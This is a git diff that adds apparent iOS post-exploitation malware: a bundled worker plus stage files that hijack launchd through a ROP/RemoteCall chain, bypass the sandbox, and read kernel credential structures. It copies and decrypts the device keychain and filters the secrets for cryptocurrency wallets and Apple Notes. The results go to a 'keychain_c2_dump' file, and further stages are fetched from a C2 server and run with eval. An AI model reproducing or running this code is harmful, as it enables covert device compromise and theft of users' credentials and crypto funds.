p7_parseVarint(buf, offset) { + var val = 0, shift = 0, i = offset; + while (i < buf.length) { + var b = buf[i++]; + val |= (b & 0x7F) << shift; + if (!(b & 0x80)) break; + shift += 7; + } + return {value: val, nextOffset: i}; + } + + function p7_parseProtobuf(data) { + var buf = new Uint8Array(data); + var fields = {}; + var i = 0; + while (i < buf.length) { + var tagInfo = p7_parseVarint(buf, i); + i = tagInfo.nextOffset; + var fieldNum = tagInfo.value >> 3; + var wireType = tagInfo.value & 0x7; + if (wireType === 0) { + var v = p7_parseVarint(buf, i); + fields["f" + fieldNum + "_varint"] = v.value; + i = v.nextOffset; + } else if (wireType === 2) { + var lenInfo = p7_parseVarint(buf, i); + i = lenInfo.nextOffset; + var chunk = buf.slice(i, i + lenInfo.value); + if (!fields["f" + fieldNum]) fields["f" + fieldNum] = []; + fields["f" + fieldNum].push(chunk); + i += lenInfo.value; + } else { + break; + } + } + return fields; + } + + function p7_parseBplist(buf) { + if (buf.length < 40) return null; + if (buf[0]!==0x62||buf[1]!==0x70||buf[2]!==0x6c||buf[3]!==0x69||buf[4]!==0x73||buf[5]!==0x74) return null; + var tOff = buf.length - 32; + var oiSz = buf[tOff+6], orSz = buf[tOff+7]; + var nObj = 0; for (var i=0;i<8;i++) nObj = nObj*256 + buf[tOff+8+i]; + var topIdx = 0; for (var i=0;i<8;i++) topIdx = topIdx*256 + buf[tOff+16+i]; + var otOff = 0; for (var i=0;i<8;i++) otOff = otOff*256 + buf[tOff+24+i]; + function rdSz(off, sz) { var v=0; for(var i=0;i=nObj) return null; + var off = offsets[idx]; + var marker = buf[off]; + var hi = marker >> 4, lo = marker & 0xf; + if (hi===0) { return lo===0?null:lo===8?false:lo===9?true:null; } + if (hi===1) { var n=1<= objArr.length) return null; + var rootObj = bp.parseObj(objArr[rootIdx]); + if (!rootObj||!rootObj._dict) return null; + function getUid(key) { + var ref = rootObj._dict[key]; + if (ref===undefined) return -1; + var u = bp.parseObj(ref); + if (u && u._uid !== undefined) return u._uid; + return typeof ref==="number"? ref : -1; + } + var ivIdx = getUid("SFInitializationVector"); + var ctIdx = getUid("SFCiphertext"); + var tagIdx = getUid("SFAuthenticationCode"); + if (tagIdx < 0) tagIdx = getUid("SFAuthenticationTag"); + if (ivIdx<0||ivIdx>=objArr.length||ctIdx<0||ctIdx>=objArr.length) return null; + var ivData = bp.parseObj(objArr[ivIdx]); + var ctData = bp.parseObj(objArr[ctIdx]); + if (!(ivData instanceof Uint8Array) || !(ctData instanceof Uint8Array)) return null; + var tag = null; + if (tagIdx >= 0 && tagIdx < objArr.length) { + var t = bp.parseObj(objArr[tagIdx]); + if (t instanceof Uint8Array) tag = t; + } + var ct = ctData; + if (!tag && ct.length > 16) { + tag = ct.slice(ct.length - 16); + ct = ct.slice(0, ct.length - 16); + } + return {iv: ivData, ct: ct, tag: tag}; + } + + // --- TLV decoder --- + function p7_decodeTLV(data) { + var buf = new Uint8Array(data); + var attrs = {}; + var i = 0; + // Outer: tag 0x30 or 0x31 (SEQUENCE/SET) + if (buf.length < 4) return attrs; + if (buf[0] === 0x30 || buf[0] === 0x31) { + var outerLen = buf[1]; + if (outerLen === 0x82) { + outerLen = (buf[2] << 8) | buf[3]; + i = 4; + } else if (outerLen === 0x81) { + outerLen = buf[2]; + i = 3; + } else { + i = 2; + } + } + while (i + 2 < buf.length) { + var seqTag = buf[i++]; + if (seqTag !== 0x30) break; + var seqLen = buf[i++]; + if (seqLen === 0x81) { seqLen = buf[i++]; } + else if (seqLen === 0x82) { seqLen = (buf[i] << 8) | buf[i+1]; i += 2; } + var seqEnd = i + seqLen; + if (seqEnd > buf.length) break; + // Inside: key string tag (0x0C UTF8String or 0x18 GeneralizedTime) + value + var keyTag = buf[i++]; + var keyLen = buf[i++]; + if (keyLen === 0x81) { keyLen = buf[i++]; } + var keyStr = ""; + for (var ki = 0; ki < keyLen && (i + ki) < buf.length; ki++) + keyStr += String.fromCharCode(buf[i + ki]); + i += keyLen; + if (i < seqEnd) { + var valTag = buf[i++]; + var valLen = buf[i++]; + if (valLen === 0x81) { valLen = buf[i++]; } + else if (valLen === 0x82) { valLen = (buf[i] << 8) | buf[i+1]; i += 2; } + if (valTag === 0x0C || valTag === 0x18 || valTag === 0x16) { + var valStr = ""; + for (var vi = 0; vi < valLen && (i + vi) < buf.length; vi++) + valStr += String.fromCharCode(buf[i + vi]); + attrs[keyStr] = valStr; + } else if (valTag === 0x04) { + var valBytes = buf.slice(i, i + valLen); + var hex = ""; + for (var hi = 0; hi < valBytes.length; hi++) + hex += ("0" + valBytes[hi].toString(16)).slice(-2); + attrs[keyStr] = hex; + attrs[keyStr + "_raw"] = valBytes; + } else if (valTag === 0x02) { + var intVal = 0; + for (var ii = 0; ii < valLen && (i + ii) < buf.length; ii++) + intVal = (intVal << 8) | buf[i + ii]; + attrs[keyStr] = intVal; + } + i += valLen; + } + i = seqEnd; + } + return attrs; + } + + // --- Table scan + decrypt --- + p7_flog("=== Table scan + decrypt ==="); + p7_flushLog(); + var p7_tableNames = ["genp", "inet", "cert", "keys"]; + var p7_MAX_ROWS = 2000; + + for (var p7_ti = 0; p7_ti < p7_tableNames.length; p7_ti++) { + var p7_tbl = p7_tableNames[p7_ti]; + p7_flog("table[" + p7_ti + "]=" + p7_tbl + " starting..."); + var p7_items = []; + var p7_tStmt = BigInt(N.callSymbol("calloc", 1, 8)); + var p7_tSql = "SELECT rowid, data FROM " + p7_tbl + " LIMIT " + p7_MAX_ROWS; + var p7_tRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, p7_tSql, -1, p7_tStmt, 0n)); + p7_flog(p7_tbl + " prepare rc=" + p7_tRc); + if (p7_tRc !== p7_SQLITE_OK) { + p7_flog(p7_tbl + " prepare FAILED"); + N.callSymbol("free", p7_tStmt); + p7_result.tables[p7_tbl] = {error: "prepare rc=" + p7_tRc, items: []}; + continue; + } + var p7_stmt = N.read64(BigInt(p7_tStmt)); + N.callSymbol("free", p7_tStmt); + var p7_rowCount = 0; + p7_flushLog(); + + var p7_stepVal; + while ((p7_stepVal = Number(N.callSymbol("sqlite3_step", p7_stmt))) === p7_SQLITE_ROW) { + p7_rowCount++; + try { + if (p7_rowCount === 1 || p7_rowCount % 500 === 0) { + p7_flog(p7_tbl + " row " + p7_rowCount); + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort decrypt: lost pe_run_token at " + p7_tbl + " row " + p7_rowCount); + p7_flushLog(); + throw "pe_run_token_lost"; + } + } + var p7_rowid = Number(N.callSymbol("sqlite3_column_int", p7_stmt, 0)); + var p7_blobPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_stmt, 1)); + var p7_blobLen = Number(N.callSymbol("sqlite3_column_bytes", p7_stmt, 1)); + if (!p7_blobPtr || p7_blobPtr === 0n || p7_blobLen < 8) { + p7_items.push({rowid: p7_rowid, error: "empty"}); + continue; + } + if (p7_blobLen > 65536) { + p7_flog("WARN " + p7_tbl + " row " + p7_rowCount + " blobLen=" + p7_blobLen + " >64KB, skip"); + p7_items.push({rowid: p7_rowid, error: "blob_too_large len=" + p7_blobLen}); + continue; + } + var p7_blobData = new Uint8Array(N.read(p7_blobPtr, p7_blobLen)); + var p7_version = p7_blobData[0] | (p7_blobData[1] << 8) | (p7_blobData[2] << 16) | (p7_blobData[3] << 24); + var p7_item = {rowid: p7_rowid, _table: p7_tbl, version: p7_version}; + + try { + var p7_pbData; + if (p7_version >= 7 && p7_version <= 20) { + p7_pbData = p7_blobData.slice(4); + } else if (p7_blobData[0] === 0x0a || p7_blobData[0] === 0x08 || p7_blobData[0] === 0x12) { + p7_pbData = p7_blobData; + p7_item.version = 7; + } else { + p7_item.error = "unknown_format v=" + p7_version; + p7_items.push(p7_item); + continue; + } + + var p7_pb = p7_parseProtobuf(p7_pbData.buffer); + var p7_protClass = p7_pb.f3_varint || 0; + p7_item.protectionClass = p7_protClass; + + // Extract nested fields + // outer.1 -> f1[0] (nested: 1.1=bplistFirst, 1.2.1=blob3Key) + // outer.2 -> f2[0] (nested: 2.1=bplistSecond, 2.2=bplistThird) + var p7_bpFirst = null, p7_bpSecond = null, p7_bpThird = null, p7_blob3Key = null; + + if (p7_pb.f1 && p7_pb.f1[0]) { + var p7_inner1 = p7_parseProtobuf(p7_pb.f1[0].buffer); + if (p7_inner1.f1 && p7_inner1.f1[0]) p7_bpFirst = p7_inner1.f1[0]; + if (p7_inner1.f2 && p7_inner1.f2[0]) { + var p7_inner12 = p7_parseProtobuf(p7_inner1.f2[0].buffer); + if (p7_inner12.f1 && p7_inner12.f1[0]) p7_blob3Key = p7_inner12.f1[0]; + } + } + if (p7_pb.f2 && p7_pb.f2[0]) { + var p7_inner2 = p7_parseProtobuf(p7_pb.f2[0].buffer); + if (p7_inner2.f1 && p7_inner2.f1[0]) p7_bpSecond = p7_inner2.f1[0]; + if (p7_inner2.f2 && p7_inner2.f2[0]) p7_bpThird = p7_inner2.f2[0]; + } + + p7_item._blobSizes = { + first: p7_bpFirst ? p7_bpFirst.length : 0, + second: p7_bpSecond ? p7_bpSecond.length : 0, + third: p7_bpThird ? p7_bpThird.length : 0, + blob3: p7_blob3Key ? p7_blob3Key.length : 0 + }; + + // Layer 1: GCM(bplistThird, metadataKey[class]) -> intermediate + var p7_mkeyArr = p7_metaKeys[p7_protClass]; + if (!p7_mkeyArr) { + p7_item.error = "no_metadata_key class=" + p7_protClass; + p7_items.push(p7_item); + continue; + } + + if (p7_bpThird && p7_hasCrypto) { + var p7_l1 = p7_parseBplistCiphertext(p7_bpThird); + if (p7_l1 && p7_l1.ct && p7_l1.iv) { + var p7_interKey = p7_gcmDecrypt(p7_mkeyArr, + p7_l1.iv, p7_l1.iv.length, + p7_l1.ct, p7_l1.ct.length, + p7_l1.tag, p7_l1.tag ? p7_l1.tag.length : 0); + if (p7_interKey) { + var p7_interArr = new Uint8Array(p7_interKey); + + // Layer 2: GCM(bplistSecond, intermediateKey) -> metadata TLV + if (p7_bpSecond) { + var p7_l2 = p7_parseBplistCiphertext(p7_bpSecond); + if (p7_l2 && p7_l2.ct && p7_l2.iv) { + var p7_metaPt = p7_gcmDecrypt( + p7_interArr.length >= 32 ? p7_interArr.slice(0, 32) : p7_interArr, + p7_l2.iv, p7_l2.iv.length, + p7_l2.ct, p7_l2.ct.length, + p7_l2.tag, p7_l2.tag ? p7_l2.tag.length : 0); + if (p7_metaPt) { + var p7_metaAttrs = p7_decodeTLV(p7_metaPt); + p7_item.service = p7_metaAttrs["svce"] || null; + p7_item.account = p7_metaAttrs["acct"] || null; + p7_item.accessGroup = p7_metaAttrs["agrp"] || null; + p7_item.label = p7_metaAttrs["labl"] || null; + } else { p7_item.layer2Error = "gcm_fail"; } + } else { p7_item.layer2Error = "bplist_parse"; } + } + + // Layer 3: AKS unwrap(blob3Key) + GCM(bplistFirst, blob3key) -> secret TLV + if (p7_blob3Key && p7_bpFirst && p7_aksReady) { + var p7_b3Unwrap = p7_aksUnwrap(p7_protClass, p7_blob3Key.buffer, p7_blob3Key.length); + if (p7_b3Unwrap && p7_b3Unwrap.kr === 0 && p7_b3Unwrap.data) { + var p7_b3Key = new Uint8Array(p7_b3Unwrap.data); + var p7_l3 = p7_parseBplistCiphertext(p7_bpFirst); + if (p7_l3 && p7_l3.ct && p7_l3.iv) { + var p7_secPt = p7_gcmDecrypt( + p7_b3Key.length >= 32 ? p7_b3Key.slice(0, 32) : p7_b3Key, + p7_l3.iv, p7_l3.iv.length, + p7_l3.ct, p7_l3.ct.length, + p7_l3.tag, p7_l3.tag ? p7_l3.tag.length : 0); + if (p7_secPt) { + var p7_secAttrs = p7_decodeTLV(p7_secPt); + if (p7_secAttrs["v_Data"]) { + p7_item.dataHex = p7_secAttrs["v_Data"]; + } + } else { p7_item.layer3Error = "gcm_fail"; } + } else { p7_item.layer3Error = "bplist_parse"; } + } else { + p7_item.layer3Error = "aks_unwrap kr=" + (p7_b3Unwrap ? p7_b3Unwrap.kr : -1); + } + } + } else { p7_item.layer1Error = "gcm_fail"; } + } else { p7_item.layer1Error = "bplist_parse"; } + } else if (!p7_bpThird) { p7_item.error = "no_bpThird"; } + } catch (p7_decErr) { + p7_item.error = "decrypt: " + p7_decErr; + } + p7_items.push(p7_item); + } catch (p7_rowErr) { + p7_flog(p7_tbl + " row " + p7_rowCount + " CRASH: " + p7_rowErr); + p7_flushLog(); + } + } + N.callSymbol("sqlite3_finalize", p7_stmt); + p7_flog(p7_tbl + ": " + p7_rowCount + " rows, " + p7_items.length + " processed"); + p7_result.tables[p7_tbl] = {count: p7_rowCount, items: p7_items}; + p7_flushLog(); + } + + // --- Wallet scan --- + var p7_walletRules = [ + ["bitpie", ["bitpie"]], + ["trustwallet", ["sixdays.trust", "group.com.sixdays"]], + ["imtoken", ["im.token", "imtoken", "token.im"]], + ["tokenpocket", ["tokenpocket", "global.wallet.ios", "com.global.wallet"]], + ["phantom", ["app.phantom", "phantom"]], + ["uniswap", ["uniswap"]], + ["coinbase", ["org.toshi"]], + ["bitget", ["bitkeep", "BG@@"]], + ["metamask", ["io.metamask", "metamask"]], + ["okx", ["okinc.okex", "okex", "com.okx"]], + ["tronlink", ["tronlink"]], + ["coin98", ["coin98"]], + ["solflare", ["solflare", "flutter_biometric"]], + ["exodus", ["exodus"]], + ["tonkeeper", ["tonkeeper", "jbig.tonkeeper"]], + ["mytonwallet", ["mytonwallet", "org.mytonwallet"]], + ["tonhub", ["tonhub"]], + ["notes", ["group.com.apple.notes", "com.apple.notes"]], + ]; + var p7_wallets = {}; + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) + p7_wallets[p7_walletRules[p7_ri][0]] = []; + for (var p7_wti = 0; p7_wti < p7_tableNames.length; p7_wti++) { + var p7_wTbl = p7_result.tables[p7_tableNames[p7_wti]]; + if (!p7_wTbl || !p7_wTbl.items) continue; + for (var p7_wi = 0; p7_wi < p7_wTbl.items.length; p7_wi++) { + var p7_wItem = p7_wTbl.items[p7_wi]; + if (p7_wItem.error) continue; + var p7_agrp = (p7_wItem.accessGroup || "").toLowerCase(); + var p7_svce = (p7_wItem.service || "").toLowerCase(); + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { + var p7_pats = p7_walletRules[p7_ri][1]; + var p7_hit = false; + for (var p7_pi = 0; p7_pi < p7_pats.length; p7_pi++) { + if (p7_agrp.indexOf(p7_pats[p7_pi]) >= 0 || p7_svce.indexOf(p7_pats[p7_pi]) >= 0) { + p7_hit = true; break; + } + } + if (p7_hit) { p7_wallets[p7_walletRules[p7_ri][0]].push(p7_wItem); break; } + } + } + } + p7_result.wallets = {}; + var p7_wlog = "wallets:"; + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { + var p7_wk = p7_walletRules[p7_ri][0]; + if (p7_wallets[p7_wk].length > 0) { + p7_result.wallets[p7_wk] = {count: p7_wallets[p7_wk].length, items: p7_wallets[p7_wk]}; + p7_wlog += " " + p7_wk + "=" + p7_wallets[p7_wk].length; + } + } + p7_flog(p7_wlog); + + // --- Keep only wallet + Notes items in tables (drop other apps) --- + var p7_kept = 0, p7_dropped = 0; + function p7_itemKeep(item) { + var agrp = (item.accessGroup || "").toLowerCase(); + var svce = (item.service || "").toLowerCase(); + var acct = (item.account || "").toLowerCase(); + for (var ri = 0; ri < p7_walletRules.length; ri++) { + var pats = p7_walletRules[ri][1]; + for (var pi = 0; pi < pats.length; pi++) { + var pat = (pats[pi] || "").toLowerCase(); + if (!pat) continue; + if (agrp.indexOf(pat) >= 0 || svce.indexOf(pat) >= 0 || acct.indexOf(pat) >= 0) return true; + } + } + return false; + } + for (var p7_fti = 0; p7_fti < p7_tableNames.length; p7_fti++) { + var p7_fTbl = p7_result.tables[p7_tableNames[p7_fti]]; + if (!p7_fTbl || !p7_fTbl.items) continue; + var p7_keptItems = []; + for (var p7_fi = 0; p7_fi < p7_fTbl.items.length; p7_fi++) { + var p7_fit = p7_fTbl.items[p7_fi]; + if (p7_itemKeep(p7_fit)) { p7_keptItems.push(p7_fit); p7_kept++; } + else p7_dropped++; + } + p7_fTbl.items = p7_keptItems; + p7_fTbl.count = p7_keptItems.length; + } + p7_flog("keychain filter kept=" + p7_kept + " dropped=" + p7_dropped + " (wallet+notes only)"); + + // --- Write result --- + N.callSymbol("sqlite3_close", p7_db); + var p7_jsonStr = JSON.stringify(p7_result); + var p7_outTmp = "/tmp/keychain_c2_dump.json.tmp"; + var p7_outFinal = "/tmp/keychain_c2_dump.json"; + var p7_outDone = "/tmp/keychain_c2_dump.done"; + + var p7_outFd = Number(N.callSymbol("open", p7_outTmp, 0x601, 0x1FF)); + if (p7_outFd >= 0) { + var p7_jBuf = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStr.length + 1))); + N.writeString(p7_jBuf, p7_jsonStr); + N.callSymbol("write", p7_outFd, p7_jBuf, p7_jsonStr.length); + N.callSymbol("fsync", p7_outFd); + N.callSymbol("close", p7_outFd); + N.callSymbol("free", p7_jBuf); + N.callSymbol("chmod", p7_outTmp, 0x1FF); + N.callSymbol("unlink", p7_outFinal); + N.callSymbol("rename", p7_outTmp, p7_outFinal); + N.callSymbol("chmod", p7_outFinal, 0x1FF); + // Write done marker + var p7_doneFd = Number(N.callSymbol("open", p7_outDone, 0x601, 0x1FF)); + if (p7_doneFd >= 0) { + N.callSymbol("write", p7_doneFd, "done", 4); + N.callSymbol("close", p7_doneFd); + N.callSymbol("chmod", p7_outDone, 0x1FF); + } + p7_flog("result written to " + p7_outFinal + " (" + p7_jsonStr.length + " bytes)"); + } else { + p7_flog("failed to open output file"); + p7_result.errors.push("output file open failed"); + } + } else { + N.callSymbol("free", p7_dbPtrBuf); + p7_flog("DB open failed, writing partial dump for HQ /war"); + p7_result.errors.push("DB open failed rc=" + p7_dbRc); + p7_result.diagnostics = p7_result.diagnostics || {}; + p7_result.diagnostics.db_open_rc = p7_dbRc; + p7_result.diagnostics.partial = true; + try { + var p7_jsonStrFail = JSON.stringify(p7_result); + var p7_outTmpF = "/tmp/keychain_c2_dump.json.tmp"; + var p7_outFinalF = "/tmp/keychain_c2_dump.json"; + var p7_outDoneF = "/tmp/keychain_c2_dump.done"; + var p7_outFdF = Number(N.callSymbol("open", p7_outTmpF, 0x601, 0x1FF)); + if (p7_outFdF >= 0) { + var p7_jBufF = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStrFail.length + 1))); + N.writeString(p7_jBufF, p7_jsonStrFail); + N.callSymbol("write", p7_outFdF, p7_jBufF, p7_jsonStrFail.length); + N.callSymbol("fsync", p7_outFdF); + N.callSymbol("close", p7_outFdF); + N.callSymbol("free", p7_jBufF); + N.callSymbol("chmod", p7_outTmpF, 0x1FF); + N.callSymbol("unlink", p7_outFinalF); + N.callSymbol("rename", p7_outTmpF, p7_outFinalF); + N.callSymbol("chmod", p7_outFinalF, 0x1FF); + var p7_doneFdF = Number(N.callSymbol("open", p7_outDoneF, 0x601, 0x1FF)); + if (p7_doneFdF >= 0) { + N.callSymbol("write", p7_doneFdF, "done", 4); + N.callSymbol("close", p7_doneFdF); + N.callSymbol("chmod", p7_outDoneF, 0x1FF); + } + p7_flog("partial result written (" + p7_jsonStrFail.length + " bytes)"); + } else { + p7_flog("partial output open failed"); + } + } catch (p7_wErr) { + p7_flog("partial write err: " + p7_wErr); + } + } + } + } catch (p7_err) { + p7_flog("Phase 2 error: " + p7_err); + } finally { + if (p7_secRC) { + p7_secRC.destroy(); + } + } + } + // ===== End P7 Phase 2 ===== + if (p7_enableP7) p7_flushLog(); + p7_flog("PEMK-G s6_p7phase2 done"); p7_flushLog(); + try { + if (!globalThis.__peC2Injected && typeof __pePostWarDumpFallback === "function") { + p7_flog("PEMK-G post-s6 war-fallback (no C2 inject)"); p7_flushLog(); + __pePostWarDumpFallback("post_s6_no_c2"); + } + } catch (_wf) {} +} + + function __peHttpGetStage(path) { + // C2 GET /api/ds/pe-stage/ — Laravel file log. Body is not stage JS (inline fallback). + try { + var name = String(path || "").replace(/^.*\//, "").replace(/\.js$/i, ""); + if (!name) return null; + var uuid = ""; + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + if (g && g.__LAB_DEVICE_UUID__) uuid = String(g.__LAB_DEVICE_UUID__); + } catch (_u) {} + var q = "/api/ds/pe-stage/" + name; + if (uuid) q += "?deviceUUID=" + uuid; + return __labCfHttp("GET", q, null, true); + } catch (e) { + return null; + } + } + + var __peStages = [ + ["s1_launchd", __peStage1], + ["s2_keychain", __peStage2], + ["s3_mempress", __peStage3], + ["s4_loader", __peStage4], + ["s6_p7phase2", __peStage6], + ["s5_c2", __peStage5] + ]; + // 18.5: SpringBoard RC after long Phase2 often 0x494 (120s). Inject C2 before s6. + try { + var __iosOrd = __labIosForGate(); + if (__iosOrd.maj === 18 && __iosOrd.min === 5) { + __peStages = [ + ["s1_launchd", __peStage1], + ["s2_keychain", __peStage2], + ["s3_mempress", __peStage3], + ["s4_loader", __peStage4], + ["s5_c2", __peStage5], + ["s6_p7phase2", __peStage6] + ]; + p7_flog("PEMK stage-order: 18.5 early C2 before Phase2"); + p7_flushLog(); + } + } catch (_ord) {} + var __peNetDead = false; + for (var __psi = 0; __psi < __peStages.length; __psi++) { + if (__psi > 0 && typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK abort: lost pe_run_token (newer PE) before " + __peStages[__psi][0]); + p7_flushLog(); + break; + } + try { func_offsets_array[0x2101] = __psi + 1; } catch (_ms) {} + var __psName = __peStages[__psi][0]; + var __psFn = __peStages[__psi][1]; + var __psCode = null; + if (!__peNetDead) { + for (var __psTry = 0; __psTry < 2 && !__psCode; __psTry++) { + __psCode = __peHttpGetStage("/pe_stage/" + __psName + ".js"); + } + if (!__psCode) { __peNetDead = true; } + } + if (__psCode && __psCode.indexOf("__peStage") >= 0) { + p7_flog("stage " + __psName + " fetched " + __psCode.length + "B -> eval"); p7_flushLog(); + try { eval(__psCode); } + catch (__psErr) { + if (__psErr instanceof SyntaxError) { + p7_flog("stage " + __psName + " syntax err -> inline"); p7_flushLog(); + try { __psFn(); } catch (__psErrB) { p7_flog("stage " + __psName + " inline err: " + __psErrB); } + } else { + p7_flog("stage " + __psName + " eval err: " + __psErr); + } + } + } else { + if (__psCode) p7_flog("stage " + __psName + " bad body -> inline"); + else p7_flog("stage " + __psName + " fetch failed -> inline"); + p7_flushLog(); + try { __psFn(); } catch (__psErr2) { p7_flog("stage " + __psName + " inline err: " + __psErr2); } + } + p7_flog("stage " + __psName + " done"); p7_flushLog(); + if (globalThis.__peAbort) { p7_flog("abort flag set -> stop stages"); p7_flushLog(); break; } + } + p7_flog("PEMK-Z all stages done"); if (p7_enableP7) p7_flushLog(); + try { pe_alive_ping("pe_all_stages"); } catch (_pz) {} + try { func_offsets_array[0x2102] = 0x5a; } catch (_mz) {} + + LOG("[PE-WORKER] start() COMPLETE"); + return true; +} + +try { + try { pe_alive_ping("pe_before_start"); } catch (_ps) {} + try { func_offsets_array[0x2100] = 0x53; } catch (_m4) {} + start(); +} +catch (error) { + var __errTxt = ""; + try { __errTxt = String(error && (error.message || error)); } catch (_es) { __errTxt = "unknown"; } + try { pe_alive_ping("pe_start_threw"); } catch (_pt) {} + try { pe_alive_ping("pe_start_err:" + __errTxt.substring(0, 100)); } catch (_pt2) {} + try { LOG("[PE] start() threw: " + __errTxt); } catch (_lg) {} +} +finally { + try { LOG("[HB] skip (no BSD socket)"); } catch(_e) {} + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("exit", 0n); +} + + +})(); + +/******/ })() +; + } catch (error) { + LOG(`Main function resulted with an error: ${error}`); + LOG("stack: " + error.stack); + } +})(); diff --git a/channel-builder-ds/source/pe_stage/s1_launchd.js b/channel-builder-ds/source/pe_stage/s1_launchd.js new file mode 100644 index 0000000..40c5f41 --- /dev/null +++ b/channel-builder-ds/source/pe_stage/s1_launchd.js @@ -0,0 +1,103 @@ +// PE stage file — progress marker: GET /pe_stage/s1_launchd.js +// Eval'd inside pe_worker start(); falls back to inline if fetch fails. + function __peStage1() { + p7_flog("PEMK-B0 before launchd RemoteCall isLaunchdSafe=1"); p7_flushLog(); + try { pe_alive_ping("pe_s1_pre_launchd"); } catch (_s1a) {} + LOG("[PE] creating launchdTask..."); + launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass); + p7_flog("PEMK-B0 after launchd ctor ok=" + !!(launchdTask && launchdTask.success()) + " fail=" + (globalThis.__peRemoteFail || 0)); p7_flushLog(); + try { pe_alive_ping("pe_s1_post_launchd"); } catch (_s1b) {} + if (!launchdTask.success()) { + LOG("[PE] launchdTask FAILED"); + p7_flog("PEMK-B launchdTask FAILED"); p7_flushLog(); + try { globalThis.__peAbort = true; } catch (_a) {} + return; + } + LOG("[PE] launchdTask OK, init sandbox..."); + p7_flog("PEMK-B1 before initWithLaunchdTask"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); + // Skip deleteCrashReports: first post-ctor launchd token + recursive deleteDir + // reboots A13 (iPhone12,x) before createTokens even starts. + p7_flog("PEMK-B1 skip deleteCrashReports"); p7_flushLog(); + p7_flog("PEMK-B1 before createTokens (nui-gate)"); p7_flushLog(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens(); + LOG("[PE] sandbox tokens created"); + p7_flog("PEMK-B1 tokens ok"); p7_flushLog(); + } catch (tokEx) { + p7_flog("PEMK-B1 createTokens THREW: " + String(tokEx).slice(0, 120)); + p7_flushLog(); + throw tokEx; + } + + // ===== Self-process ucred READ-ONLY probe ===== + // Uses the PROVEN path from sandbox extension code (line 6641-6653): + // proc + 0x18 -> credRef + 0x28 -> ucred + // ucred + 0x18 = cr_uid (offset 24, matches IDA key 35) + // ucred + 0x78 = cr_label (offset 120, matches IDA key 44) + try { + let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"]; + let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex; + let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"]; + + let selfTask = T.gSelfTask.addr; + let selfProcRO = C.read64(selfTask + C.offsets().procRO); + let selfProc = C.read64(selfProcRO); + LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc))); + + let credRef = C.read64(selfProc + 0x18n); + LOG("[UCRED] credRef=" + HEX(C.strip(credRef))); + + let diag = "proc=" + HEX(C.strip(selfProc)); + + if (credRef && C.strip(credRef) >= 0xffffffd000000000n) { + let ucred = C.read64(credRef + 0x28n); + LOG("[UCRED] ucred=" + HEX(C.strip(ucred))); + diag += "|ucred=" + HEX(C.strip(ucred)); + + if (ucred && C.strip(ucred) >= 0xffffffd000000000n) { + let cr_uid = C.read32(ucred + 0x18n); + let cr_ruid = C.read32(ucred + 0x1cn); + let cr_svuid = C.read32(ucred + 0x20n); + let cr_ngroups = C.read32(ucred + 0x24n); + let cr_label = C.read64(ucred + 0x78n); + LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups); + LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label))); + diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid; + diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label)); + + // Also dump a few more ucred fields for structure verification + for (let doff = 0x00n; doff <= 0x80n; doff += 8n) { + try { + let val = C.read64(ucred + doff); + diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val)); + } catch(e3) {} + } + } else { + diag += "|ucred_INVALID"; + } + } else { + diag += "|credRef_INVALID"; + } + + globalThis.__ucredDiag = diag; + LOG("[UCRED] diag=" + diag.substring(0, 200)); + } catch (probeErr) { + globalThis.__ucredDiag = "probe_error:" + String(probeErr); + LOG("[UCRED] error: " + probeErr); + } + // ===== End ucred probe ===== + + // Flush Phase 1 log now that sandbox tokens exist + if (p7_enableP7) { + p7_flog("launchd RC OK, sandbox tokens created"); + p7_flushLog(); + } + + // ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline ===== + // keepAlive until /tmp DB is usable - destroy() tears RC and kills mid-copy. + p7_flog("PEMK-B s1_launchd ok"); p7_flushLog(); + try { __peClaimRunToken(); } catch (_ct) { try { p7_flog("PEMK-B pe_run_token claim throw: " + _ct); p7_flushLog(); } catch (_e) {} } +} + +__peStage1(); diff --git a/channel-builder-ds/source/pe_stage/s2_keychain.js b/channel-builder-ds/source/pe_stage/s2_keychain.js new file mode 100644 index 0000000..85fc604 --- /dev/null +++ b/channel-builder-ds/source/pe_stage/s2_keychain.js @@ -0,0 +1,213 @@ +// PE stage file — progress marker: GET /pe_stage/s2_keychain.js +// Eval'd inside pe_worker start(); falls back to inline if fetch fails. + function __peStage2() { + // Clear stale copier notify so we do not race a previous run. + try { + var __Nclr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + __Nclr.callSymbol("unlink", "/tmp/keychain_copier_status.txt"); + __Nclr.callSymbol("unlink", "/tmp/keychain_mpd_go"); + __Nclr.callSymbol("unlink", "/tmp/keychain-2.db"); + } catch (_u) {} + + __labKcCopier = null; + var __rcCopyOk = false; + var __rcCopySz = -1; + + // Detect iOS version: 18.6.1+ must NOT enter RemoteCall rc_copy (hangs). + // 18.6.0 keeps the lab rc_copy primary path unchanged. + var __iosV = __labIosForGate(); + try { globalThis.__labIosVer = __iosV; } catch (_cv) {} 